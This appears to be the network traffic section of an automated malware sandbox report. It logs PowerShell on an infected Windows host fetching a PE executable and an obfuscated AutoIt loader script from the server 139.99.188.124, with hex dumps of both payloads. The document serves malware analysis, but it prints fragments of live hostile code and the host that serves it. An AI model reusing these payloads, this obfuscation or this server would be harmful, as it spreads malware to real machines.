                                                        Dec 18, 2024 09:19:33.276705027 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.277503967 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.277563095 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.277606964 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.278558016 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.278600931 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.278634071 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.279575109 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.279695034 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.279706001 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.280522108 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.280570984 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.280627012 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.281626940 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.281747103 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.281780005 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.282538891 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.282643080 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.282666922 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.283591032 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.283658028 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.283747911 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.284529924 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.284569025 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.284636974 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.285551071 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.285598040 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.285645008 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.286591053 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.286638021 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.286669970 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.287776947 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.287914991 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.288615942 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.288629055 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.288687944 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.289860010 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.289871931 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.289882898 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.289906025 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.290535927 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.290580988 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.290647984 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.291564941 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.291614056 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.291683912 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.292506933 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.292613029 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.431566954 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.431596041 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.431723118 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.431844950 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.431972980 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.432020903 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.432848930 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.432939053 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.432981968 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.433891058 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.433969975 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.434026957 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.434921980 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.435014009 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.435075998 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.435899019 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.436029911 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.436129093 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.437005043 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.437062025 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.437227964 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.437890053 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.438030005 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.438111067 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.438864946 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.438975096 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.439168930 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.439979076 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.440038919 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.440110922 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.440886021 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.441042900 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.441122055 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.441884041 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.441930056 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.442092896 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.442888021 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.443011045 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.443069935 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.443924904 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.444077015 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.444190979 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.444896936 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.445028067 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.445071936 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.445955992 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.446069956 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.446113110 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.447108984 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.447187901 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.447231054 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.447966099 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.448023081 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.448077917 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.448908091 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.449059963 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.449105978 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.449949980 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.450030088 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.450073004 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.450798988 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.450890064 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.450934887 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.451908112 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.452009916 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.452055931 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.452802896 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.453007936 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.453056097 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.453849077 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.453964949 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.454008102 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.454808950 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.454917908 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.454960108 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.455817938 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.455935001 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.455995083 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.456818104 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.456919909 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.456964016 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.457792997 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.457928896 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.457973003 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.458802938 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.458920002 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.459266901 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.459856033 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.459907055 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.460024118 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.460813999 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.460923910 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.460972071 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.461822033 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.462030888 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.462085962 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.462821960 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:33.506489038 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:33.771332026 CET4971680192.168.2.7139.99.188.124

                                                        UDP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Dec 18, 2024 09:19:36.590379953 CET5723453192.168.2.71.1.1.1
                                                        Dec 18, 2024 09:19:36.727889061 CET53572341.1.1.1192.168.2.7
                                                        Dec 18, 2024 09:19:55.395382881 CET5794553192.168.2.71.1.1.1
                                                        Dec 18, 2024 09:19:55.533179998 CET53579451.1.1.1192.168.2.7

                                                        DNS Queries

                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                        Dec 18, 2024 09:19:36.590379953 CET192.168.2.71.1.1.10x3dbaStandard query (0)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsA (IP address)IN (0x0001)false
                                                        Dec 18, 2024 09:19:55.395382881 CET192.168.2.71.1.1.10x6cd4Standard query (0)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsA (IP address)IN (0x0001)false

                                                        DNS Answers

                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                        Dec 18, 2024 09:19:36.727889061 CET1.1.1.1192.168.2.70x3dbaName error (3)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsnonenoneA (IP address)IN (0x0001)false
                                                        Dec 18, 2024 09:19:55.533179998 CET1.1.1.1192.168.2.70x6cd4Name error (3)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsnonenoneA (IP address)IN (0x0001)false

                                                        HTTP Request Dependency Graph

                                                        • 139.99.188.124

                                                        HTTP Packets

                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        0192.168.2.749705139.99.188.124807472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 18, 2024 09:19:24.513730049 CET165OUTGET /TnVDiK HTTP/1.1
                                                        User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                        Host: 139.99.188.124
                                                        Connection: Keep-Alive
                                                        Dec 18, 2024 09:19:26.017857075 CET1236INHTTP/1.1 200 OK
                                                        Date: Wed, 18 Dec 2024 08:19:24 GMT
                                                        Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                                                        Last-Modified: Thu, 05 Dec 2024 19:13:14 GMT
                                                        ETag: "da2a8-6288ab0a93fdd"
                                                        Accept-Ranges: bytes
                                                        Content-Length: 893608
                                                        Keep-Alive: timeout=5, max=100
                                                        Connection: Keep-Alive
                                                        Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 [TRUNCATED]
                                                        Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sDR*R*R*CP*S*_@a*_@*_@g*[j[*[jw*R+r**S*_@S*RP*S*RichR*PEL_pZ"@@@@|Ppq; [@.text `.rdata@@.datatR@.rsrcP<@@.relocqpr@B
                                                        Dec 18, 2024 09:19:26.017869949 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 44 61 4c 00
                                                        Data Ascii: DaLhC\YLhCKYNhC:YhC.Y<ChCYhCYQ>hCYsLQ@sLP9hCYGhC
                                                        Dec 18, 2024 09:19:26.017880917 CET1236INData Raw: 46 04 59 83 24 b8 00 47 3b 7e 08 72 e7 ff 76 04 83 66 08 00 e8 bc fb 01 00 59 5f 5e c3 56 8b f1 57 8b 4e 78 85 c9 75 59 8b 46 7c 83 f8 0b 0f 8f 2a a4 03 00 0f 84 0a a4 03 00 83 e8 05 74 4e 83 e8 03 0f 84 df a3 03 00 48 48 0f 84 bd a3 03 00 83 66
                                                        Data Ascii: FY$G;~rvfY_^VWNxuYF|*tNHHfpNTF|N$NV\Y_^QfxNptQ,SV3WN~^^^N$NT^4^8^<^@^D~H~L^P^d^h^p^x
                                                        Dec 18, 2024 09:19:26.018002033 CET1236INData Raw: 89 45 f4 f7 d9 89 55 0c 89 4d 08 80 38 08 73 53 83 c2 08 40 89 45 f4 05 f0 f7 ff ff 03 c1 89 55 0c 3b 46 0c 8b 45 f4 7c e2 8b 46 0c 3b d8 74 1a 2b c3 50 8d 86 10 08 00 00 03 c3 50 8d 43 02 8d 04 c6 50 57 ff 15 24 01 49 00 8b 76 04 85 f6 75 8d ff
                                                        Data Ascii: EUM8sS@EU;FE|F;t+PPCPW$IvuuW_^[];t +QPCPW$IEUMtDuLMtuWzME8tM@tEujPQWEUM#E
                                                        Dec 18, 2024 09:19:26.018013000 CET896INData Raw: 00 83 7e 4c ff 8b f8 74 03 8b 7e 4c 57 53 ff 15 40 01 49 00 6a 00 57 e8 55 08 00 00 eb 8f 8b c8 83 e9 4e 0f 84 aa 9e 03 00 83 e9 05 0f 84 90 9e 03 00 83 e9 28 0f 84 71 9e 03 00 83 e9 09 0f 84 52 9e 03 00 81 e9 8d 00 00 00 0f 84 30 9e 03 00 49 0f
                                                        Data Ascii: ~Lt~LWS@IjWUN(qR0IIIDjUuuR+t#I4Iu-V&SVPWPVItIIhQQVCj~jwQHjUVW
                                                        Dec 18, 2024 09:19:26.018023968 CET1236INData Raw: 89 45 ec 8d 45 cc 50 ff 36 ff 15 34 06 49 00 8b 4d d4 8b 45 d8 8b 56 44 8b 7e 48 89 4d 10 89 45 0c 89 55 f8 89 7d 08 85 c9 0f 84 64 9c 03 00 85 c0 0f 84 73 9c 03 00 83 be 9c 01 00 00 00 0f 85 7d 9c 03 00 8d 45 cc 50 ff 33 ff 15 94 06 49 00 8b 45
                                                        Data Ascii: EEP64IMEVD~HMEU}ds}EP3IEM+UEE+EEP6UMpI}EuM}fE}fEE}fEE}fft(EfuE
                                                        Dec 18, 2024 09:19:26.018034935 CET1236INData Raw: 00 00 02 06 03 04 05 06 05 05 06 06 06 06 01 06 05 01 06 06 06 02 05 02 02 03 cc cc cc 55 8b ec a1 38 78 4c 00 83 ec 0c 8b 4d 08 8b ff 85 c0 74 1c 8b 10 39 0a 74 05 8b 40 04 eb f1 8b 4d 0c 01 4a 04 8b 00 8b 40 08 8b e5 5d c2 08 00 51 89 4d f4 c7
                                                        Data Ascii: U8xLMt9t@MJ@]QMEHIE8xLEPEUMtW}N_]UQQSVW}EP7IElEpEPVpIME;tuc;xu[s5IsE
                                                        Dec 18, 2024 09:19:26.018047094 CET1236INData Raw: 00 85 c9 0f 85 63 98 03 00 83 25 84 78 4c 00 00 8b 0d 38 78 4c 00 85 c9 0f 85 62 98 03 00 83 25 40 78 4c 00 00 b9 20 78 4c 00 e8 e4 e8 ff ff b9 0c 78 4c 00 e8 1e e8 ff ff b9 f0 77 4c 00 e8 1c f1 00 00 a1 e0 77 4c 00 85 c0 0f 85 44 98 03 00 5e c3
                                                        Data Ascii: c%xL8xLb%@xL xLxLwLwLD^U(SVWh*YA^xL}M9wLEPxL}xL]8xLpuE @
                                                        Dec 18, 2024 09:19:26.018261909 CET1236INData Raw: 24 0c 8b 04 90 8b 38 89 7c 24 1c 8a 97 90 00 00 00 0f b6 c2 83 f8 11 0f 8e da 96 03 00 83 e8 13 0f 84 e8 9b 03 00 48 0f 84 a0 9b 03 00 48 48 0f 84 1f 9b 03 00 83 e8 05 0f 85 00 9b 03 00 57 51 e8 ad ee ff ff ff 37 ff 15 3c 06 49 00 8b 74 24 0c 83
                                                        Data Ascii: $8|$HHHWQ7<It$Du3du8hu=PuBD$;FtDP3@_^[]3wDIwdIwh<IwP<IL$NUE(SV5xLW~
                                                        Dec 18, 2024 09:19:26.018273115 CET1236INData Raw: 4c 00 00 75 0f 83 3d dc 77 4c 00 00 0f 85 22 9d 03 00 5e c3 a1 3c 78 4c 00 8b 00 ff 70 08 ff 15 c8 00 49 00 a1 3c 78 4c 00 85 c0 74 6a 8b c8 8b 40 08 a3 3c 78 4c 00 85 c9 74 0b 51 e8 d8 e0 ff ff a1 3c 78 4c 00 85 c0 74 38 83 60 04 00 a1 3c 78 4c
                                                        Data Ascii: Lu=wL"^<xLpI<xLtj@<xLtQ<xLt8`<xL@xLI@xLuxLDt0<Ii%8xLT@xLUQVW}3M97tKAdESt<A`t*W3$It3@[_^]MF
                                                        Dec 18, 2024 09:19:26.137584925 CET1236INData Raw: 3c 38 05 89 82 4c 00 75 4c 8b 0d 84 82 4c 00 ff 75 10 ff 75 0c ff 75 08 e8 b3 04 00 00 5d c2 10 00 83 3d 80 82 4c 00 00 ff 75 10 ff 75 0c ff 75 08 75 2c b9 70 82 4c 00 eb de 48 75 0b ff 75 10 ff 75 0c ff 75 08 eb eb 83 e8 0e 0f 84 74 99 03 00 33
                                                        Data Ascii: <8LuLLuuu]=Luuuu,pLHuuuut3LHL2UQQVW~^~u~S^CEtT;tDtwuHuGEtuYWYSEYFF[_


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        1192.168.2.749716139.99.188.124807756C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 18, 2024 09:19:29.557383060 CET73OUTGET /jiJNz.txt HTTP/1.1
                                                        Host: 139.99.188.124
                                                        Connection: Keep-Alive
                                                        Dec 18, 2024 09:19:31.053320885 CET1236INHTTP/1.1 200 OK
                                                        Date: Wed, 18 Dec 2024 08:19:29 GMT
                                                        Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                                                        Last-Modified: Thu, 05 Dec 2024 19:13:14 GMT
                                                        ETag: "12f072-6288ab0a926a6"
                                                        Accept-Ranges: bytes
                                                        Content-Length: 1241202
                                                        Keep-Alive: timeout=5, max=100
                                                        Connection: Keep-Alive
                                                        Content-Type: text/plain
                                                        Data Raw: 46 75 6e 63 20 4e 75 74 72 69 74 69 6f 6e 53 70 65 65 64 4d 61 79 6f 72 46 61 6d 69 6c 69 65 73 28 24 53 6d 4b 69 73 73 2c 20 24 45 66 66 69 63 69 65 6e 74 6c 79 46 6f 72 6d 75 6c 61 2c 20 24 43 6f 6e 73 75 6c 74 69 6e 67 53 6f 72 74 73 4c 61 62 73 2c 20 24 66 75 72 74 68 65 72 74 65 72 72 6f 72 69 73 74 2c 20 24 42 49 4b 45 4f 43 43 55 52 52 45 4e 43 45 53 4c 49 47 48 54 2c 20 24 52 65 76 65 72 73 65 50 68 69 6c 69 70 70 69 6e 65 73 29 0a 24 50 64 42 6c 6f 63 6b 73 52 65 73 70 6f 6e 73 65 44 61 74 20 3d 20 27 37 33 39 31 31 39 36 31 38 37 37 32 27 0a 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 0a 24 69 6f 73 79 6d 70 68 6f 6e 79 73 65 65 6d 73 63 72 75 63 69 61 6c 20 3d 20 35 30 0a 46 6f 72 20 24 4f 64 48 42 74 20 3d 20 32 38 20 54 6f 20 38 36 35 0a 49 66 20 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 32 20 54 68 65 6e 0a 53 71 72 74 28 37 39 35 35 29 0a 46 69 6c 65 45 78 69 73 74 73 28 [TRUNCATED]
                                                        Data Ascii: Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines)$PdBlocksResponseDat = '739119618772'$VerifiedUnderstoodValidation = 34$iosymphonyseemscrucial = 50For $OdHBt = 28 To 865If $VerifiedUnderstoodValidation = 32 ThenSqrt(7955)FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUnderstoodValidation = 33 ThenConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5))DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2))Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUndersto
                                                        Dec 18, 2024 09:19:31.053348064 CET1236INData Raw: 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 20 54 68 65 6e 0a 24 4e 75 74 74 65 6e 49 6e 76 65 73 74 6f 72 73 52 61 6c 65 69 67 68 20 3d 20 44 65 63 28 57 61 6c 65 73 28 22 31 30 34 5d 31 31 33 5d 31 30 35 5d 38 36 5d 38 35 5d 39 36 5d 38
                                                        Data Ascii: odValidation = 34 Then$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]83]73]78]127]105]97]79]105]77",28/4))ExitLoopEndIfNext$LAYERSSTRICTINNOVATIVE = '66150718350940696046327902621'$DmModsQueries = 68$DRESSDEARANTIQUES = 93Wh
                                                        Dec 18, 2024 09:19:31.053359985 CET1236INData Raw: 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 3d 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61
                                                        Data Ascii: lLibrarianSpiritU = $TheoreticalLibrarianSpiritU + 1EndIfIf $TheoreticalLibrarianSpiritU = 18 Then$locateheadquarterssuccessfully = PixelGetColor(Wales("82]124]123]88]85]72]105]73]102]127]126]82]119",5/1), Wales("82]124]123]88]85]72]105]73]
                                                        Dec 18, 2024 09:19:31.053549051 CET1236INData Raw: 37 29 29 0a 41 53 69 6e 28 39 39 32 29 0a 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 6e 68 6f 75 73 65 20 3d 20 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 6e 68 6f 75 73 65 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 6d 69 73 73 69 6f 6e 73 67 72 65 65
                                                        Data Ascii: 7))ASin(992)$missionsgreenhouse = $missionsgreenhouse + 1EndIfIf $missionsgreenhouse = 96 Then$broughtisnicholasearned = ASin(9631)ExitLoopEndIfIf $missionsgreenhouse = 97 ThenDriveStatus(Wales("87]120]118]101]109]107]108]120]39",24/6
                                                        Dec 18, 2024 09:19:31.053560972 CET896INData Raw: 38 32 30 39 32 34 34 35 32 39 39 32 31 34 37 37 33 30 37 33 33 38 33 32 39 35 39 38 31 37 38 33 37 31 39 31 34 39 36 37 34 34 35 38 38 30 38 27 0a 24 44 49 4c 44 4f 53 59 49 45 4c 44 53 46 41 52 45 41 44 44 52 45 53 53 45 44 20 3d 20 33 36 0a 24
